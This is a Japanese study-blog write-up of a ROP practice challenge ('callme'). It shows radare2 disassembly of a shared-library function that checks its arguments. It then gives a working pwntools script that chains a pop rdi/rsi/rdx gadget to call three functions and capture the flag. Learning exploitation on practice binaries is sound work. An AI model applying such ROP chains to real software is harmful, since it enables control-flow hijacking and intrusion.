ROPについて勉強する ~3~
ROPについて勉強する ~3~
続き
Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.
関数を連続して呼び出す問題。
動作確認
軽く中を見てみる
sym.imp.callme_***
という関数が3つ呼び出されているがその呼び出し順が
という風になっている。
これを1→2→3
の順番で呼び出せばいいのかな?
各関数のなかを見ると別ファイルのlibcallme.so
で定義されているcallme_***
を読んでいるっぽいのでさらにその中を確認
[0x000007f0]> pdf@sym.callme_one / (fcn) sym.callme_one 228 | sym.callme_one (int arg1, int arg2, int arg3); | ; var int local_1ch @ rbp-0x1c | ; var int local_18h @ rbp-0x18 | ; var int local_14h @ rbp-0x14 | ; var int local_8h @ rbp-0x8 | ; arg int arg1 @ rdi | ; arg int arg2 @ rsi | ; arg int arg3 @ rdx | 0x000008f0 55 push rbp | 0x000008f1 4889e5 mov rbp, rsp | 0x000008f4 4883ec20 sub rsp, 0x20 | 0x000008f8 897dec mov dword [local_14h], edi ; arg1 | 0x000008fb 8975e8 mov dword [local_18h], esi ; arg2 | 0x000008fe 8955e4 mov dword [local_1ch], edx ; arg3 | 0x00000901 837dec01 cmp dword [local_14h], 1 | ,=< 0x00000905 0f85b0000000 jne 0x9bb | | 0x0000090b 837de802 cmp dword [local_18h], 2 | ,==< 0x0000090f 0f85a6000000 jne 0x9bb | || 0x00000915 837de403 cmp dword [local_1ch], 3 | ,===< 0x00000919 0f859c000000 jne 0x9bb | ||| 0x0000091f 48c745f80000. mov qword [local_8h], 0 | ||| 0x00000927 488d35820200. lea rsi, qword [0x00000bb0] ; section..rodata ; "r" | ||| 0x0000092e 488d3d7d0200. lea rdi, qword str.encrypted_flag.txt ; 0xbb2 ; "encrypted_flag.txt" | ||| 0x00000935 e886feffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode) | ||| 0x0000093a 488945f8 mov qword [local_8h], rax | ||| 0x0000093e 48837df800 cmp qword [local_8h], 0 | ,====< 0x00000943 7516 jne 0x95b | |||| 0x00000945 488d3d7c0200. lea rdi, qword str.Failed_to_open_encrypted_flag.txt ; 0xbc8 ; "Failed to open encrypted_flag.txt" | |||| 0x0000094c e80ffeffff call sym.imp.puts ; int puts(const char *s) | |||| 0x00000951 bf01000000 mov edi, 1 | |||| 0x00000956 e875feffff call sym.imp.exit ; void exit(int status) | `----> 0x0000095b bf21000000 mov edi, 0x21 ; '!' | ||| 0x00000960 e84bfeffff call sym.imp.malloc ; void *malloc(size_t size)| ||| 0x00000965 488905fc0620. mov qword [obj.g_buf], rax ; [0x201068:8]=0 | ||| 0x0000096c 488b05f50620. mov rax, qword [obj.g_buf] ; [0x201068:8]=0 | ||| 0x00000973 4885c0 test rax, rax | ,====< 0x00000976 7516 jne 0x98e | |||| 0x00000978 488d3d6b0200. lea rdi, qword str.Could_not_allocate_memory ; 0xbea ; "Could not allocate memory" | |||| 0x0000097f e8dcfdffff call sym.imp.puts ; int puts(const char *s) | |||| 0x00000984 bf01000000 mov edi, 1 | |||| 0x00000989 e842feffff call sym.imp.exit ; void exit(int status) | `----> 0x0000098e 488b05d30620. mov rax, qword [obj.g_buf] ; [0x201068:8]=0 | ||| 0x00000995 488b55f8 mov rdx, qword [local_8h] | ||| 0x00000999 be21000000 mov esi, 0x21 ; '!' | ||| 0x0000099e 4889c7 mov rdi, rax | ||| 0x000009a1 e8fafdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | ||| 0x000009a6 488905bb0620. mov qword [obj.g_buf], rax ; [0x201068:8]=0 | ||| 0x000009ad 488b45f8 mov rax, qword [local_8h] | ||| 0x000009b1 4889c7 mov rdi, rax | ||| 0x000009b4 e8b7fdffff call sym.imp.fclose ; int fclose(FILE *stream) | ,====< 0x000009b9 eb16 jmp 0x9d1 | |```-> 0x000009bb 488d3d420200. lea rdi, qword str.Incorrect_parameters ; 0xc04 ; "Incorrect parameters" | | 0x000009c2 e899fdffff call sym.imp.puts ; int puts(const char *s) | | 0x000009c7 bf01000000 mov edi, 1 | | 0x000009cc e8fffdffff call sym.imp.exit ; void exit(int status) | | ; CODE XREF from sym.callme_one (0x9b9) | `----> 0x000009d1 90 nop | 0x000009d2 c9 leave \ 0x000009d3 c3 ret
少し長いのだが初めに1 2 3
がそれぞれ引数1,2,3に入っているかを確認し、入っていなければ終了するコードが書いてある。
callme_two
とcallme_three
を見てもそのように引数のチェックを行っているので、この問題は以下のように実行すればいいと考えられる
callme_one
に引数1, 2, 3を渡して呼び出すcallme_two
に引数1, 2, 3を渡して呼び出すcallme_three
に引数1, 2, 3を渡して呼び出す
今回は引数を3つ渡しているのでそのような命令セットを探す(後々ここを作る問題が出そう...)
前回の表を確認すると以下のように検索できる
これの0x0000000000401ab0
にある命令セットはまさしくほしいものなのでこれを使う
exploit
from pwn import * padding = 'A' * 40 # 0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret order_set = p64(0x0000000000401ab0) callme_one = p64(0x00401850) callme_two = p64(0x00401870) callme_three = p64(0x00401810) arg_1 = p64(1) # rdi arg_2 = p64(2) # rsi arg_3 = p64(3) # rdx order_set_args = order_set + arg_1 + arg_2 + arg_3 exploit = padding exploit += order_set_args + callme_one exploit += order_set_args + callme_two exploit += order_set_args + callme_three elf = ELF('callme') io = process(elf.path) io.sendline(exploit) log.info(io.recvall())
実行すると無事、フラグが入手できた
感想
ROP chainのつなぎ方がわかってきた。
命令セットが見つからなかった時の解決法が疑問ですね...